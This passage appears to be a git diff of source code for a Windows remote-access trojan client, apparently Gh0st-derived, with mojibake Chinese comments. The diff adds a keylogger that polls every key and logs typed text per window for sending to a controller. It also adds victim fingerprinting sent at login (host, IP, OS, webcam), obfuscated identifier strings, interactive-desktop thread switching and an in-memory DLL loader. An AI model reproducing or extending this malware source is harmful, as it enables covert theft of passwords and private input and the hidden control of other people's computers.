||||
|
||||
Sleep(3000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
TCHAR KeyBuffer[2048] = {};
|
||||
TCHAR szText[CAPTION_SIZE] = {};
|
||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||
HWND PreviousFocus = NULL;
|
||||
while(pThis->m_bIsWorking) {
|
||||
Sleep(5);
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lstrcat(KeyBuffer, szText);
|
||||
memset(szText, 0, sizeof(szText));
|
||||
}
|
||||
if (lstrlen(KeyBuffer) > 0) {
|
||||
if (!newWindowInput)
|
||||
lstrcat(KeyBuffer, _T("\r\n"));
|
||||
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
||||
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
std::string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
35
client/KeyboardManager.h
Normal file
35
client/KeyboardManager.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// KeyboardManager.h: interface for the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
||||
#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "..\Manager.h"
|
||||
|
||||
class CKeyboardManager1 : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
static DWORD WINAPI SendData(LPVOID lparam);
|
||||
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
DWORD dKeyBoardSize;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
int sendOfflineRecord(DWORD dwRead = 0);
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
||||
338
client/Loader.cpp
Normal file
338
client/Loader.cpp
Normal file
File diff suppressed because one or more lines are too long
@@ -1,40 +1,213 @@
|
||||
#include "StdAfx.h"
|
||||
#include "LoginServer.h"
|
||||
#include "Common.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <ctime>
|
||||
#include <NTSecAPI.h>
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
// by ChatGPT
|
||||
bool IsWindows11() {
|
||||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (hMod) {
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (rtlGetVersion) {
|
||||
rtlGetVersion(&rovi);
|
||||
return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/************************************************************************
|
||||
---------------------
|
||||
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
|
||||
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
|
||||
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
|
||||
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD>븽<EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
|
||||
<EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
************************************************************************/
|
||||
std::string getSystemName()
|
||||
{
|
||||
LOGIN_INFOR LoginInfor = {0};
|
||||
std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
|
||||
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
||||
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||
if (hinst == NULL)
|
||||
{
|
||||
return vname;
|
||||
}
|
||||
if (IsWindows11()) {
|
||||
vname = "Windows 11";
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||
if (proc==NULL)
|
||||
{
|
||||
return vname;
|
||||
}
|
||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||
{
|
||||
vname = "Windows 8.1";
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||
{
|
||||
vname = "Windows 10";
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
|
||||
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46>ṹ<EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ
|
||||
OSVERSIONINFOEX os;
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
if (GetVersionEx((OSVERSIONINFO *)&os))
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
|
||||
switch (os.dwMajorVersion)
|
||||
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>汾<EFBFBD><E6B1BE>
|
||||
case 4:
|
||||
switch (os.dwMinorVersion)
|
||||
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
|
||||
case 0:
|
||||
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
||||
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
||||
vname = "Windows 95";
|
||||
break;
|
||||
case 10:
|
||||
vname ="Windows 98";
|
||||
break;
|
||||
case 90:
|
||||
vname = "Windows Me";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 5:
|
||||
switch (os.dwMinorVersion)
|
||||
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
|
||||
case 0:
|
||||
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
|
||||
break;
|
||||
case 1:
|
||||
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
break;
|
||||
case 2:
|
||||
if (os.wProductType == VER_NT_WORKSTATION &&
|
||||
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
||||
vname = "Windows XP Professional x64 Edition";
|
||||
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
||||
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
||||
vname = "Windows Server 2003 R2";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 6:
|
||||
switch (os.dwMinorVersion)
|
||||
{
|
||||
case 0:
|
||||
if (os.wProductType == VER_NT_WORKSTATION)
|
||||
vname = "Windows Vista";
|
||||
else
|
||||
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾
|
||||
break;
|
||||
case 1:
|
||||
if (os.wProductType == VER_NT_WORKSTATION)
|
||||
vname = "Windows 7";
|
||||
else
|
||||
vname = "Windows Server 2008 R2";
|
||||
break;
|
||||
case 2:
|
||||
if (os.wProductType == VER_NT_WORKSTATION)
|
||||
vname = "Windows 8";
|
||||
else
|
||||
vname = "Windows Server 2012";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||
}
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
}
|
||||
else
|
||||
Mprintf("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||
return vname;
|
||||
}
|
||||
|
||||
std::string formatTime(const FILETIME& fileTime) {
|
||||
// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
|
||||
ULARGE_INTEGER ull;
|
||||
ull.LowPart = fileTime.dwLowDateTime;
|
||||
ull.HighPart = fileTime.dwHighDateTime;
|
||||
|
||||
// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
|
||||
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||||
|
||||
// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
std::tm* localTime = std::localtime(&startTime);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||||
return std::string(buffer);
|
||||
}
|
||||
|
||||
std::string getProcessTime() {
|
||||
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
|
||||
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||||
return formatTime(creationTime);
|
||||
}
|
||||
std::time_t now = std::time(nullptr);
|
||||
std::tm* t = std::localtime(&now);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>PCName
|
||||
char szPCName[MAX_PATH] = {0};
|
||||
gethostname(szPCName, MAX_PATH);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ClientIP
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int iLen = sizeof(sockaddr_in);
|
||||
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
|
||||
|
||||
DWORD dwCPUMHz;
|
||||
dwCPUMHz = CPUClockMHz();
|
||||
|
||||
BOOL bWebCamIsExist = WebCamIsExist();
|
||||
|
||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||
memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
|
||||
LoginInfor.dwSpeed = dwSpeed;
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.ClientAddr = ClientAddr.sin_addr;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
|
||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||
|
||||
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
@@ -56,7 +229,7 @@ BOOL WebCamIsExist()
|
||||
BOOL bOk = FALSE;
|
||||
|
||||
char szDeviceName[100], szVer[50];
|
||||
for (int i = 0; i < 10 && !bOk; i++)
|
||||
for (int i = 0; i < 10 && !bOk; ++i)
|
||||
{
|
||||
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
||||
//ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -5,17 +5,6 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
typedef struct _LOGIN_INFOR
|
||||
{
|
||||
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -4,15 +4,127 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <process.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned(__stdcall* start_address)(void*);
|
||||
void* arglist;
|
||||
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE hEventTransferArg;
|
||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||
|
||||
BOOL SelectDesktop(TCHAR* name);
|
||||
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
{
|
||||
unsigned int nRet = 0;
|
||||
try {
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// <20><><EFBFBD>潻<EFBFBD><E6BDBB>
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
}
|
||||
catch (...) {
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
|
||||
arg.arglist = (void*)lpParameter;
|
||||
arg.bInteractive = bInteractive;
|
||||
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
||||
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
|
||||
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
||||
CloseHandle(arg.hEventTransferArg);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop)
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
DWORD dummy;
|
||||
char new_name[256];
|
||||
|
||||
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch the desktop
|
||||
if (!SetThreadDesktop(new_desktop)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switched successfully - destroy the old desktop
|
||||
CloseDesktop(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// - SelectDesktop(char *)
|
||||
// Switches the current thread into a different desktop, by name
|
||||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
BOOL SelectDesktop(TCHAR* name)
|
||||
{
|
||||
HDESK desktop;
|
||||
|
||||
if (name != NULL) {
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
else {
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch to the new desktop
|
||||
if (!SelectHDESK(desktop)) {
|
||||
// Failed to enter the new desktop, so free it!
|
||||
CloseDesktop(desktop);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// We successfully switched desktops!
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject)
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||
{
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this);
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||
}
|
||||
@@ -33,7 +145,9 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
try
|
||||
{
|
||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||
}catch(...){};
|
||||
}catch(...){
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
@@ -9,14 +9,22 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "..\common\commands.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
class IOCPClient;
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
|
||||
1202
client/MemoryModule.c
Normal file
1202
client/MemoryModule.c
Normal file
File diff suppressed because it is too large
Load Diff
168
client/MemoryModule.h
Normal file
168
client/MemoryModule.h
Normal file
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
